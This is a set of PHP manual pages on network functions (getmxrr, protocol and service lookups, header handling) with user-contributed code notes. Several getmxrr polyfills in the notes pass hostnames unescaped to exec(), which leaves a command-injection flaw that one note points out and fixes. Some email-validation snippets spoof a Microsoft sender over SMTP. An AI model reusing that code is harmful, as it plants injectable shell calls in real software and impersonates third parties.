在兼容 Windows 实现之前的版本，可以使用 » PEAR class 的 » Net_DNS。

参见

  • checkdnsrr() - 给指定的主机（域名）或者IP地址做DNS通信检查
  • dns_get_record() - 获取指定主机名的 DNS 纪录
  • gethostbyname() - 返回主机名对应的 IPv4地址。
  • gethostbynamel() - 获取互联网主机名对应的 IPv4 地址列表
  • gethostbyaddr() - 获取指定 IP 地址对应的 Internet 主机名
  • Linux 手册页面 named(8)

User Contributed Notes

Anonymous 06-Oct-2016 12:30
One small polyfill for the getmxrr function(even when it's missing from linux system)

function getmxrr($hostname, &$mxhosts, array &$mxweight=null)
                {
                   $mxhosts = array();
                   exec('nslookup -type=mx '.$hostname, $result_arr);
                   foreach($result_arr as $line)
                    {
                        if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
                        {
                            $s_xo=explode(' ', $matches[1]);
                            $mxhosts[] = $s_xo[1];
                            $mxweight[] = $s_xo[0];
                        }
                    }
                   return( count($mxhosts) > 0 );
                }
Robert Imhoff 27-Mar-2011 06:21
I tried using getmxrr() to validate the domain portion of email addresses in enquiry submission forms, and there is a curious effect with some top-level domains when checking non-existant domains.

With sdlkfjsdl.com, since the domain does not exist, getmxrr() returns false, as expected, and the returned mxhosts array is empty.

But with sdlkfjsdl.gov, getmxrr() returns true,  and the returned mxhosts array contains one element: NULL

With sdlkfjsdl.org, getmxrr() returns true,  and the returned mxhosts array contains one element: '0.0.0.0'

With sdlkfjsdl.co.uk, getmxrr()  returns true and supplies one MX record: uk-net-wildcard-null-mx.centralnic.net

So to validate the email domain, it would seem one has to check the returned mxhosts array to exclude the possibility of mxhosts being returned as NULL, 0.0.0.0 and wildcard ...
php [spat] hm2k.org 06-Jan-2009 02:18
I decided to have a bash at this after doing a bit of research...

<?php

// getmxrr() support for Windows by HM2K <php [spat] hm2k.org>
function win_getmxrr($hostname, &$mxhosts, &$mxweight=false) {
    if (strtoupper(substr(PHP_OS, 0, 3)) != 'WIN') return;
    if (!is_array ($mxhosts) ) $mxhosts = array();
    if (empty($hostname)) return;
    $exec='nslookup -type=MX '.escapeshellarg($hostname);
    @exec($exec, $output);
    if (empty($output)) return;
    $i=-1;
    foreach ($output as $line) {
        $i++;
        if (preg_match("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.+)$/i", $line, $parts)) {
          $mxweight[$i] = trim($parts[1]);
          $mxhosts[$i] = trim($parts[2]);
        }
        if (preg_match('/responsible mail addr = (.+)$/i', $line, $parts)) {
          $mxweight[$i] = $i;
          $mxhosts[$i] = trim($parts[1]);
        }
    }
    return ($i!=-1);
}

// Define
if (!function_exists('getmxrr')) {
    function getmxrr($hostname, &$mxhosts, &$mxweight=false) {
        return win_getmxrr($hostname, $mxhosts, $mxweight);
    }
}

/* example */

$domain='php.net';
echo "<pre>";
getmxrr($domain,$mxhosts,$mxweight);
print_r($mxhosts);
print_r($mxweight);

?>
TZ at inpetho dot net 12-Dec-2007 10:35
If greylisting is installed on the mx host then he send a "451 4.7.1 Please try again later"

My code fragment:

<?php
//...
foreach ($mx_records as $mx_host) {
    $code = CheckMX($mx_host, $eMail);
    if ($code == 0)    continue; // host not found
    if ($code == 451)    $code = CheckMX($mx_host, $eMail); // Greylisting
    if ($code == 250)    {
        $ok = true;
        break;
    }
}
//...

function CheckMX($mx_host, $eMail)
{
    $code = 0;
    $fp = @fsockopen($mx_host, 25, $errno, $errstr, 2);
    if ($fp)    {
        send_command($fp, 'HELO microsoft.com');
        send_command($fp, 'MAIL FROM:<support@microsoft.com>');
        $erg = send_command($fp, 'RCPT TO:<'.$eMail.'>');
        fclose($fp);
        $code = intval(substr($erg, 0, 3));
    }
    return $code;
}
//...
?>
Jay 11-Sep-2007 04:10
As stated, some of the code listed below will have trouble with multiple equal weights, such as if you query gmail.com. The following code will prevent that by switching the key/values.

<?php

// Get the records
getmxrr("gmail.com", $mx_records, $mx_weight);

// Put the records together in a array we can sort
for($i=0;$i<count($mx_records);$i++){
    $mxs[$mx_records[$i]] = $mx_weight[$i];
}

// Sort them
asort ($mxs);

// Since the keys actually hold the data we want, just put those in an array, called records
$records = array_keys($mxs);

// Simply echoes all the stuff in the records array
for($i = 0; $i < count($records); $i++){
    echo $records[$i];
    echo '<br>';
}

?>

If you wanted to get the weight, you would use "array_values($mxs);" instead of "array_keys($mxs);".

Hope this helps some people.
tomhutter at web dot de 20-Oct-2006 12:50
Leonardt's code fails with multiple mx records with the same wight. You can easily change this by switching keys and values in the mxs array:

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_records[$i]] = $mx_weight[$i];
     }

     arsort ($mxs );
     reset ($mxs);

    while (list ($mx_host, $mx_weight) = each ($mxs) ) {

cheers

Tom
php dot net at oitc dot com 14-Oct-2006 05:28
This function has some strange side effects when dealing with aliases...

My function:

        if (getmxrr($fqdn, $mx_records, $mx_weight)) {
            // copy mx records and weight into array $mxs
            // ignore multiple mx's at the same weight
            for ($i = 0; $i < count($mx_records); $i++) {
                $mxs[$mx_weight[$i]] = $mx_records[$i];
            }
            // sort array mxs to get servers with highest priority
            ksort ($mxs, SORT_NUMERIC);
            reset ($mxs);
        } else {
            // No MX so use A
            $mxs[0]= $fqdn;
        }

fails because a $fqdn containing an alias returns a true yet on return both $mx_records and $mx_weight contain nothing!

The solution until this gets fixed is to replace if (getmxrr($fqdn, $mx_records, $mx_weight)) with

        // Handle aliases etc.
        if ($result = getmxrr($fqdn, $mx_records, $mx_weight)) {
            if(!isset($mx_records) || (count($mx_records) == 0)) $result = false;
        }
        // Process MXs
        if ($result) {

Hope this helps others....  Tom
MagicalTux at ooKoo dot org 24-Sep-2006 07:59
If you want to use getmxrr on windows, be careful as choward AT fast DOT net DOT NO SPAM PLZ's function has a security flaw.

It passes its argument to an external command without escaping it. If you don't validate the input, someone may manage to run nasty things on your system.

Here's a fixed version (just added escapeshellarg())

<?php
function getmxrr($hostname, &$mxhosts)
{
    $mxhosts = array();
    exec('%SYSTEMDIRECTORY%\\nslookup.exe -q=mx '.escapeshellarg($hostname), $result_arr);
    foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
    return( count($mxhosts) > 0 );
}//--End of workaround

//test..
getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

This way you'll avoid a lot of nasty things ;)
Lennart Poot(www.twing.nl) 07-Apr-2006 12:23
This script validates an e-mail adress using getmxrr and fsockopen

1. it validates the syntax of the address.
2. get MX records by hostname
3. connect mail server and verify mailbox(using smtp command RCTP TO:<email>)

When the function "validate_email([email])" fails connecting the mail server with the highest priority in the MX record it will continue with the second mail server and so on..

The function "validate_email([email])" returns 0 when it failes one the 3 steps above, it will return 1 otherwise

Grtz Lennart Poot

<?
function validate_email($email){
   $mailparts=explode("@",$email);
   $hostname = $mailparts[1];

   // validate email address syntax
   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
   $b_valid_syntax=eregi($exp, $email);

   // get mx addresses by getmxrr
   $b_mx_avail=getmxrr( $hostname, $mx_records, $mx_weight );
   $b_server_found=0;

   if($b_valid_syntax && $b_mx_avail){
     // copy mx records and weight into array $mxs
     $mxs=array();

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_weight[$i]]=$mx_records[$i];
     }

     // sort array mxs to get servers with highest prio
     ksort ($mxs, SORT_NUMERIC );
     reset ($mxs);

     while (list ($mx_weight, $mx_host) = each ($mxs) ) {
       if($b_server_found == 0){

         //try connection on port 25
         $fp = @fsockopen($mx_host,25, $errno, $errstr, 2);
         if($fp){
           $ms_resp="";
           // say HELO to mailserver
           $ms_resp.=send_command($fp, "HELO microsoft.com");

           // initialize sending mail
           $ms_resp.=send_command($fp, "MAIL FROM:<support@microsoft.com>");

           // try receipent address, will return 250 when ok..
           $rcpt_text=send_command($fp, "RCPT TO:<".$email.">");
           $ms_resp.=$rcpt_text;

           if(substr( $rcpt_text, 0, 3) == "250")
             $b_server_found=1;

           // quit mail server connection
           $ms_resp.=send_command($fp, "QUIT");

         fclose($fp);

         }

       }
    }
  }
  return $b_server_found;
}

function send_command($fp, $out){

  fwrite($fp, $out . "\r\n");
  return get_data($fp);
}

function get_data($fp){
  $s="";
  stream_set_timeout($fp, 2);

  for($i=0;$i<2;$i++)
    $s.=fgets($fp, 1024);

  return $s;
}

// support windows platforms
if (!function_exists ('getmxrr') ) {
  function getmxrr($hostname, &$mxhosts, &$mxweight) {
    if (!is_array ($mxhosts) ) {
      $mxhosts = array ();
    }

    if (!empty ($hostname) ) {
      $output = "";
      @exec ("nslookup.exe -type=MX $hostname.", $output);
      $imx=-1;

      foreach ($output as $line) {
        $imx++;
        $parts = "";
        if (preg_match ("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.*)$/", $line, $parts) ) {
          $mxweight[$imx] = $parts[1];
          $mxhosts[$imx] = $parts[2];
        }
      }
      return ($imx!=-1);
    }
    return false;
  }
}

?>
jeff at pzenix dot com 08-Mar-2006 09:58
I should point out that the below example won't work with some domains (.co.uk, .org.uk, .net.uk for example) because it assumes (possibly incorrectly) that the format is [ DOMAIN ].[ EXT ].
off at NOSPAM dot abwesend dot de 11-Feb-2006 07:18
Concerning the message by 'rolf at rowi dot net' (do a check on a address containing a subdomain) we could use:

$email = 'abc@etpc01.trier.fh-rpl.de';

$strDot      = '.';
$strAfterAt  = substr(strstr($email, '@'), 1);
$chunks      = explode($strDot, $strAfterAt);
$cntChunks   = count($chunks) - 1;

$strDomain = $chunks[($cntChunks-1)] . $strDot . $chunks[$cntChunks];

if (!getmxrr( $strDomain, $mxhosts )) {
    echo 'Mailserver not found';
}

// $strDomain is set to 'fh-rpl.de';
richard dot quadling at bandvulc dot co dot uk 25-May-2005 02:04
Windows alternative for getmxrr without the need for PEAR.

<?php
define('DEFAULT_GATEWAY', 'nnn.nnn.nnn.nnn');
if (!function_exists('getmxrr'))
    {
    /*
        This function is a replacement for the missing Windows function getmxrr.

        The parameters are the same as those for the normal getmxrr function.

        The steps this function takes are :

        1 - Use NSLOOKUP.EXE to get the MX records for the supplied Host.
        2 - Use regular expressions to extract the mail servers and the preference.
        3 - Sort the results by preference.
        4 - Set the return arrays.
        5 - Return true or false.
    */
    function getmxrr($s_HostName, array &$a_MXHosts = NULL, array &$a_Weights = NULL)
        {
        // Simulate all the required network activity by executing windows' NSLOOKUP.
        $s_NSLookup = shell_exec("nslookup -q=mx {$s_HostName} 2>nul");
        preg_match_all("'^.*MX preference = (\d{1,10}), mail exchanger = (.*)$'simU", $s_NSLookup, $a_MXMatches);

        // If there is something to return ...
        if (count($a_MXMatches[2]) > 0)
            {
            // Produce output arrays if they have been requested.
            $i_ArgCount = func_num_args();
            if ($i_ArgCount > 1)
                {
                array_multisort($a_MXMatches[1], $a_MXMatches[2]);
                switch ($i_ArgCount)
                    {
                    case 3 :
                        $a_Weights = $a_MXMatches[1];
                    case 2 :
                        $a_MXHosts = $a_MXMatches[2];
                    }
                }
            return True;
            }
        else
            {
            return False;
            }
        }
    }
?>

You will need to know your default gateway (either it's IP address or its name).

To do this, run the program IPCONFIG /ALL at a cmd prompt and look for the Default Gateway.

Then replace the 'nnn.nnn.nnn.nnn' with the address.

Richard.
rune dot heggtveit at devzone dot progative dot com 23-Jan-2005 01:02
An other way to do mx-lookup on a windows platform.
Rewrote this from an other class i wrote for DNS lookup - so it might be a bit messy - but hope you get the idea.

Big thanks to the rfc community.

<?php

class mxlookup
{
      var $dns_socket = NULL;
      var $QNAME = "";
      var $dns_packet= NULL;
      var $ANCOUNT = 0;
      var $cIx = 0;
      var $dns_repl_domain;
      var $arrMX = array();

      function mxlookup($domain, $dns="192.168.2.1")
      {
         $this->QNAME($domain);
         $this->pack_dns_packet();
         $dns_socket = fsockopen("udp://$dns", 53);

         fwrite($dns_socket,$this->dns_packet,strlen($this->dns_packet));
         $this->dns_reply  = fread($dns_socket,1);
         $bytes = stream_get_meta_data($dns_socket);
         $this->dns_reply .= fread($dns_socket,$bytes['unread_bytes']);
         fclose($dns_socket);
         $this->cIx=6;
         $this->ANCOUNT   = $this->gord(2);
         $this->cIx+=4;
         $this->parse_data($this->dns_repl_domain);
         $this->cIx+=7;

         for($ic=1;$ic<=$this->ANCOUNT;$ic++)
         {
           $QTYPE = ord($this->gdi($this->cIx));
           if($QTYPE!==15){print("[MX Record not returned]"); die();}
           $this->cIx+=9;
           $mxPref = ord($this->gdi($this->cIx));
           $this->parse_data($curmx);
           $this->arrMX[] = array("MX_Pref" => $mxPref, "MX" => $curmx);
           $this->cIx+=3;
         }
      }

      function parse_data(&$retval)
      {
        $arName = array();
        $byte = ord($this->gdi($this->cIx));
        while($byte!==0)
        {
          if($byte==192) //compressed
          {
            $tmpIx = $this->cIx;
            $this->cIx = ord($this->gdi($cIx));
            $tmpName = $retval;
            $this->parse_data($tmpName);
            $retval=$retval.".".$tmpName;
            $this->cIx = $tmpIx+1;
            return;
          }
          $retval="";
          $bCount = $byte;
          for($b=0;$b<$bCount;$b++)
          {
            $retval .= $this->gdi($this->cIx);
          }
          $arName[]=$retval;
         $byte = ord($this->gdi($this->cIx));
       }
       $retval=join(".",$arName);
     }

     function gdi(&$cIx,$bytes=1)
     {
       $this->cIx++;
       return(substr($this->dns_reply, $this->cIx-1, $bytes));
     }

      function QNAME($domain)
      {
        $dot_pos = 0; $temp = "";
        while($dot_pos=strpos($domain,"."))
        {
          $temp   = substr($domain,0,$dot_pos);
          $domain = substr($domain,$dot_pos+1);
          $this->QNAME .= chr(strlen($temp)).$temp;
        }
        $this->QNAME .= chr(strlen($domain)).$domain.chr(0);
      }

      function gord($ln=1)
      {
        $reply="";
        for($i=0;$i<$ln;$i++){
         $reply.=ord(substr($this->dns_reply,$this->cIx,1));
         $this->cIx++;
         }

        return $reply;
      }

      function pack_dns_packet()
      {
        $this->dns_packet = chr(0).chr(1).
                            chr(1).chr(0).
                            chr(0).chr(1).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            $this->QNAME.
                            chr(0).chr(15).
                            chr(0).chr(1);
      }

}

?>

<?php

/* Exampe of use: */
$mx = new mxlookup("php.net");

print $mx->ANCOUNT." MX Records\n";
print "Records returned for ".$mx->dns_repl_domain.":\n<pre>";
print_r($mx->arrMX);

?>

Return:

02 MX Records Records returned for php.net:

Array
(
    [0] => Array
        (
            [MX_Pref] => 15
            [MX] => smtp.osuosl.org
        )

    [1] => Array
        (
            [MX_Pref] => 5
            [MX] => osu1.php.net
        )

)
rolf at rowi dot net 21-Jan-2005 06:36
Be aware that not just user@example.com ist a valid address, also user@subnet.example.com is valid (but maybe less common). Just got into trouble with this check...

Rolf
siclawrence at gmail dot com 04-Jan-2005 06:43
This code replicates online tools that let you check if an email address is valid. First it checks if the email format is correct, then looks up and prints the mx records. All nicely formatted with fancy words that in the end prints whether the email address valid or invalid.

<?php
$email = "email@domain.com";

print("Checking: $email<br>");

if (eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)+$", $email)) {

    print("Format Test: PASSED<br>");
    print("Online host verification Test...<br><br>");
    print("MX Records for: $email<br>");

    list($alias, $domain) = split("@", $email);

    if (checkdnsrr($domain, "MX")) {

        getmxrr($domain, $mxhosts);

        foreach($mxhosts as $mxKey => $mxValue){
            print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$mxValue<br>");
        }

        print("Online host verification Test: PASSED<br><br>");
        print("Email Status: VALID");

    } else {

        print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No records found.<br>");
        print("Online host verification Test: FAILED<br><br>");
        print("Email Status: INVALID");

    }

} else {

    print("Format Test: FAILED<br><br>");
    print("Invalid email address provided.<br><br>");
    print("Email Status: INVALID");

}
?>
zorlac_man at hotmail dot com 14-May-2004 12:15
For some reason this and the other DNS lookup functions seem to be really slow on my Linux box. I've checked several things and have no explanation.

As a work-around, I gave in and just used a system call to dig:

<?php
CheckMX("fakedomain.org");
CheckMX("hotmail.com");

function CheckMX($domain) {
        exec("dig +short MX " . escapeshellarg($domain),$ips);
        if($ips[0] == "") {
                print "MX record found for $domain not found!\n";
                return FALSE;
        }
        print "MX Record for $domain found\n";
        return TRUE;
}
?>

Output:

MX record found for fakedomain.org not found!
MX Record for hotmail.com found

As someone else pointed out, it is prudent to check to see if the TLD has an IP address if the MX record is not found.
ng4rrjanbiah at rediffmail dot com 26-Feb-2004 03:11
Here is a better workaround for Windows platform. Tested on Windows XP. Highly impressed by "geoffbrisbine A T y a h o o DOT c o m"'s idea of nslookup usage.

<?php
function getmxrr($hostname, &$mxhosts)
{
   $mxhosts = array();
   exec('nslookup -type=mx '.$hostname, $result_arr);
   foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
   return( count($mxhosts) > 0 );
}//--End of workaround

//test..
echo getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

HTH,
R. Rajesh Jeba Anbiah
geoffbrisbine A T y a h o o DOT c o m 24-Sep-2002 09:39
I was pretty disappointed that the Win32 build of PHP doesn't incorporate getmxrr so, since I'm a naive newbie, I decided to hack together my own (and I stress hack).  This has been tested on Win 2000 and Win XP.  There's no reason this shouldn't work on Win NT but it will not work on Win 9x (you need the nslookup command).  It will finish with the array $mx that will be a multidimensional array with the MX preference, host name and ip address. You can do a print_r ( $mx ) to see what it looks like.

-----------------------------------------------

<?php
$command = "nslookup -type=mx yahoo.com";
exec ( $command, $result );

$i = 0;
while ( list ( $key, $value ) = each ( $result ) ) {
    if ( strstr ( $value, "mail exchanger" ) ) { $nslookup[$i] = $value; $i++; }
}

while ( list ( $key, $value ) = each ( $nslookup ) ) {
    $temp = explode ( " ", $value );
    $mx[$key][0] = $temp[3];
    $mx[$key][1] = $temp[7];
    $mx[$key][2] = gethostbyname ( $temp[7] );
}

    array_multisort ( $mx );
?>
paul at start dot co dot uk 16-Jan-2001 12:48
Prevent your dns server from 'creating' a valid host name by appending the local domain to incomplete emails by appending to the domain a  trailing . both in the pattern match and mx checks:

<?php
if (eregi("^[0-9a-z_]([-_.]?[0-9a-z])*@[0-9a-z][-.0-9a-z]*\\.[a-z]{2,3}[.]?$", $string, $check)) {
    $host = substr(strstr($check[0], '@'), 1).".";
    if ( getmxrr($host, $validate_email_temp) )
        return TRUE;
    // THIS WILL CATCH DNSs THAT ARE NOT MX.
    if(checkdnsrr($host,"ANY"))
        return TRUE;
}
?>


Get protocol number associated with protocol name

  • ? getmxrr
  • getprotobynumber ?
  • PHP Manual
  • 网络 函数
  • Get protocol number associated with protocol name

getprotobyname

(PHP 4, PHP 5, PHP 7, PHP 8)

getprotobyname — Get protocol number associated with protocol name

说明

getprotobyname(string $protocol): int|false

getprotobyname() returns the protocol number associated with the protocol protocol as per /etc/protocols.

参数

protocol

The protocol name.

返回值

Returns the protocol number, 或者在失败时返回 false.

示例

Example #1 getprotobyname() example

<?php
$protocol = 'tcp';
$get_prot = getprotobyname($protocol);
if ($get_prot === FALSE) {
echo 'Invalid Protocol';
} else {
echo 'Protocol #' . $get_prot;
}
?>

参见

  • getprotobynumber() - Get protocol name associated with protocol number

User Contributed Notes

Vipindas K.S 08-May-2008 08:33
getprotobyname()
=====================

getprotobyname() gives the protocol number for the given protocol name on the local system.
If the protocol is not recognized, then the function returns -1.
The given code snippet gives the list of protocols along with their protocol numbers
<?
$arr=array("ip","icmp","ggp","tcp",
"egp","pup","udp","hmp","xns-idp",
"rdp","rvd" );
//Reads the names of protocols into an array..
for($i=0;$i<11;$i++)
{
$proname=$arr[$i];
echo $proname .":", getprotobyname ($proname)."<br />";
}

?>


Get protocol name associated with protocol number

  • ? getprotobyname
  • getservbyname ?
  • PHP Manual
  • 网络 函数
  • Get protocol name associated with protocol number

getprotobynumber

(PHP 4, PHP 5, PHP 7, PHP 8)

getprotobynumber — Get protocol name associated with protocol number

说明

getprotobynumber(int $protocol): string|false

getprotobynumber() returns the protocol name associated with protocol protocol as per /etc/protocols.

参数

protocol

The protocol number.

返回值

Returns the protocol name as a string, 或者在失败时返回 false.

参见

  • getprotobyname() - Get protocol number associated with protocol name

User Contributed Notes

i at tiankonguse dot com 27-Nov-2013 11:37
getprotobynumber()
=====================
getprotobynumber() gets the protocol name for the given protocol number on the local system.

 If the protocol number is not recognized,the function returns FALSE.

The given code snippet gives the list of protocols along with their protocol numbers

=====================
code

<?
$format = "number <---> protocol\n<br />";
$format = "%6s <---> %s\n<br />";
for($number = 0; $number < 255; $number ++) {
    if (getprotobynumber ( $number ))

        printf ( $format, " $number", getprotobynumber ( $number ) );
}
?>

=====================
OUTPUT:
0 <---> ip
1 <---> icmp
2 <---> igmp
3 <---> ggp
4 <---> ipencap
5 <---> st
6 <---> tcp
8 <---> egp
9 <---> igp
12 <---> pup
17 <---> udp
20 <---> hmp
22 <---> xns-idp
27 <---> rdp
29 <---> iso-tp4
33 <---> dccp
36 <---> xtp
37 <---> ddp
38 <---> idpr-cmtp
41 <---> ipv6
43 <---> ipv6-route
44 <---> ipv6-frag
45 <---> idrp
46 <---> rsvp
47 <---> gre
50 <---> esp
51 <---> ah
57 <---> skip
58 <---> ipv6-icmp
59 <---> ipv6-nonxt
60 <---> ipv6-opts
73 <---> rspf
81 <---> vmtp
88 <---> eigrp
89 <---> ospf
93 <---> ax.25
94 <---> ipip
97 <---> etherip
98 <---> encap
103 <---> pim
108 <---> ipcomp
112 <---> vrrp
115 <---> l2tp
124 <---> isis
132 <---> sctp
133 <---> fc
135 <---> mobility-header
136 <---> udplite
137 <---> mpls-in-ip
138 <---> manet
139 <---> hip
140 <---> shim6
141 <---> wesp
142 <---> rohc
recycling dot sp dot am at gmail dot com 13-Sep-2010 03:40
Note that by the time of writing this note (5.3.3), there seems to be only two defined constants for the protocol numbers: SOL_UDP and SOL_TCP.
For all other protocols (like ICMP,... ) you'll have to provide the exact number (EG: 1 for ICMP, ... )
<?php
    echo getprotobynumber(SOL_TCP) . "\n"; // prints tcp
    echo getprotobynumber(SOL_UDP) . "\n"; // prints udp
    var_dump(getprotobyname('tcp') == SOL_TCP); // bool(true)
    var_dump(getprotobyname('udp') == SOL_UDP); // bool(true)
?>
On a UNIX system (don't know if this is true for Windows), the php functions getprotobyname and getprotobynumber are just wrapper for their corresponding system calls. These functions returns the protocol name or protocol number based on the definition from IANA. If you are looking for a protocol and you don't know its number, you can find the exact protocol number here: http://www.iana.org/assignments/protocol-numbers
Vipindas K.S 08-May-2008 08:39
getprotobynumber()
=====================
getprotobynumber() gets the protocol name for the given protocol number on the local system. If the protocol number is not recognized,the function returns FALSE.The given code snippet gives the list of protocols along with their protocol numbers

<?
$format = "%6s %s\n<br />";
for ($number = 0; $number < 255; $number++)
 {
   if (getprotobynumber ($number))

      printf ($format, " $number-->", getprotobynumber ($number));
 }

?>

OUTPUT:

0--> ip
1--> icmp
3--> ggp
6--> tcp
8--> egp
12--> pup
17--> udp
20--> hmp
22--> xns-idp
27--> rdp
66--> rvd


获取互联网服务协议对应的端口

  • ? getprotobynumber
  • getservbyport ?
  • PHP Manual
  • 网络 函数
  • 获取互联网服务协议对应的端口

getservbyname

(PHP 4, PHP 5, PHP 7, PHP 8)

getservbyname — 获取互联网服务协议对应的端口

说明

getservbyname(string $service, string $protocol): int|false

getservbyname() 返回互联网服务 service 指定的协议 protocol 中对应的端口， 依据 /etc/services。

参数

service

互联网服务名称的字符串。

protocol

protocol 既可以是 "tcp" 也可以是 "udp" (小写)。

返回值

返回端口号，如果 service 或 protocol 未找到返回 false。

示例

Example #1 getservbyname() 例子

<?php
$services = array('http', 'ftp', 'ssh', 'telnet', 'imap',
'smtp', 'nicname', 'gopher', 'finger', 'pop3', 'www');

foreach ($services as $service) {
$port = getservbyname($service, 'tcp');
echo $service . ": " . $port . "<br />\n";
}
?>

参见

  • getservbyport() - Get Internet service which corresponds to port and protocol
  • » http://www.iana.org/assignments/port-numbers 端口号的完整列表

User Contributed Notes

There are no user contributed notes for this page.


Get Internet service which corresponds to port and protocol

  • ? getservbyname
  • header_register_callback ?
  • PHP Manual
  • 网络 函数
  • Get Internet service which corresponds to port and protocol

getservbyport

(PHP 4, PHP 5, PHP 7, PHP 8)

getservbyport — Get Internet service which corresponds to port and protocol

说明

getservbyport(int $port, string $protocol): string|false

getservbyport() returns the Internet service associated with port for the specified protocol as per /etc/services.

参数

port

The port number.

protocol

protocol is either "tcp" or "udp" (in lowercase).

返回值

Returns the Internet service name as a string, 或者在失败时返回 false.

参见

  • getservbyname() - 获取互联网服务协议对应的端口

User Contributed Notes

paland at stetson dot edu 29-Nov-2000 04:00
Example:
<?php $value = getservbyport(137, "udp"); ?>

The same goes for getservbyname()


调用一个 header 函数

  • ? getservbyport
  • header_remove ?
  • PHP Manual
  • 网络 函数
  • 调用一个 header 函数

header_register_callback

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

header_register_callback — 调用一个 header 函数

说明

header_register_callback(callable $callback): bool

注册一个函数，在 PHP 开始发送输出时调用。

PHP 准备好所有响应头，在发送内容之前执行 callback，创建了一个发送响应头的操作窗口。

参数

callback

在头发送前调用函数。 它没有参数，返回的值也会被忽略。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 header_register_callback() 例子

<?php

header('Content-Type: text/plain');
header('X-Test: foo');

function foo() {
foreach (headers_list() as $header) {
if (strpos($header, 'X-Powered-By:') !== false) {
header_remove('X-Powered-By');
}
header_remove('X-Test');
}
}

$result = header_register_callback('foo');
echo "a";
?>

以上示例的输出类似于：

Content-Type: text/plain

a

注释

header_register_callback() 是在头即将发送前执行的， 所以本函数的任意内容输出都会打断输出过程。

Note:

数据头只会在SAPI支持时得到处理和输出。

参见

  • headers_list() - 返回已发送的 HTTP 响应头（或准备发送的）
  • header_remove() - 删除之前设置的 HTTP 头
  • header() - 发送原生 HTTP 头

User Contributed Notes

matt@kafene 26-Feb-2013 10:26
Note that this function only registers a single callback as of php 5.4. The most recent callback set is the one that will be executed, they will not be executed in order like with register_shutdown_function(), just overwritten.

Here is my test:

<?php

$i = $j = 0;
header_register_callback(function() use(&$i){ $i+=2; });
header_register_callback(function() use(&$i){ $i+=3; });
register_shutdown_function(function() use(&$j){ $j+=2; });
register_shutdown_function(function() use(&$j){ $j+=3; });
register_shutdown_function(function() use(&$j){ var_dump($j); });
while(!headers_sent()) { echo "<!-- ... flushing ... -->"; }
var_dump(headers_sent(), $i);
exit;

?>

Results:

headers_sent() - true
$i = 3
$j = 5


删除之前设置的 HTTP 头

  • ? header_register_callback
  • header ?
  • PHP Manual
  • 网络 函数
  • 删除之前设置的 HTTP 头

header_remove

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

header_remove — 删除之前设置的 HTTP 头

说明

header_remove(?string $name = null): void

删除之前用 header() 设置的 HTTP 头。

参数

name

要移除的头名称。当为 null，移除之前设置的所有 header。

Note: 参数不分大小写。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | name 现在允许为 null。

示例

Example #1 取消指定的头

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove("X-Foo");
?>

以上示例的输出类似于：

X-Bar: Baz

Example #2 取消之前全部指定的头

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove();
?>

以上示例的输出类似于：

注释

Caution

    本函数会删除所有 PHP 设置的头，
    包括 Cookie、Session 和 X-Powered-By。

Note:

 数据头只会在SAPI支持时得到处理和输出。

参见

  • header() - 发送原生 HTTP 头
    •

  • headers_sent() - 检测消息头是否已经发送
    •

User Contributed Notes

   jake at qzdesign dot co dot uk
   29-May-2018 10:57

When called from a command-line process, this function does nothing when passed a specific header to remove, but it does nonetheless work properly when called with no arguments to remove all headers.

Thus, when unit-testing or executing in some other test harness, if the code you are testing may call `header_remove()`, with the UOPZ and XDebug extensions loaded, you could use the following in order to more effectively test that the expected headers are set [which you would do by inspecting the array returned by `xdebug_get_headers()` after running the code under test, as `headers_list()` does not work despite the headers actually being stored internally as normal]:

<?php

uopz_set_return(

  'header_remove',

  function($name = null) {

    if ($name !== null) {

      $pattern = '/^' . preg_quote($name, '/') . ':/i';

      $headers = array_filter(

        xdebug_get_headers(),

        function($header) use($pattern) {

          return !preg_match($pattern, $header);

        }

      );

    }

    // This works to remove all headers, just not individual headers.

    header_remove();

    if ($name !== null) {

      foreach ($headers as $header) {

        header($header);

      }

    }

  },

  true

);

?>

   Anonymous
   27-Aug-2015 12:46

expose_php is php.ini only!

this won't work:

ini_set('expose_php',0);

works:

header_remove('x-powered-by');

   J W
   08-Mar-2015 10:07

You should ini_set("expose_php", 0); or set it in your php.ini to Off, instead of using this to remove X-Powered-By header.

   Saeed Khamseh
   24-Feb-2011 11:53

if you want to remove header information about php version (x-powered-by), you can use:

header_remove('x-powered-by');

alternatively, if you don't have php 5.3 installed, you can do the same thing using "header" command:

header('x-powered-by:');

don't forget the ':' character at the end of the string!


发送原生 HTTP 头

  • ? header_remove
  • headers_list ?
  • PHP Manual
  • 网络 函数
  • 发送原生 HTTP 头

header

(PHP 4, PHP 5, PHP 7, PHP 8)

header — 发送原生 HTTP 头

说明

header(string $string, bool $replace = true, int $response_code = ?): void

header() 用于发送原生的 HTTP 头。关于 HTTP 头的更多信息请参考 » HTTP/1.1 specification。

请注意 header() 必须在任何实际输出之前调用，不管是普通的 HTML 标签，还是文件或 PHP 输出的空行，空格。这是个常见的错误，在通过include，require，或者其访问其他文件里面的函数的时候，如果在header()被调用之前，其中有空格或者空行。 同样的问题也存在于单独的 PHP/HTML 文件中。

<html>
<?php
/* This will give an error. Note the output
* above, which is before the header() call */
header('Location: http://www.example.com/');
exit;
?>

参数
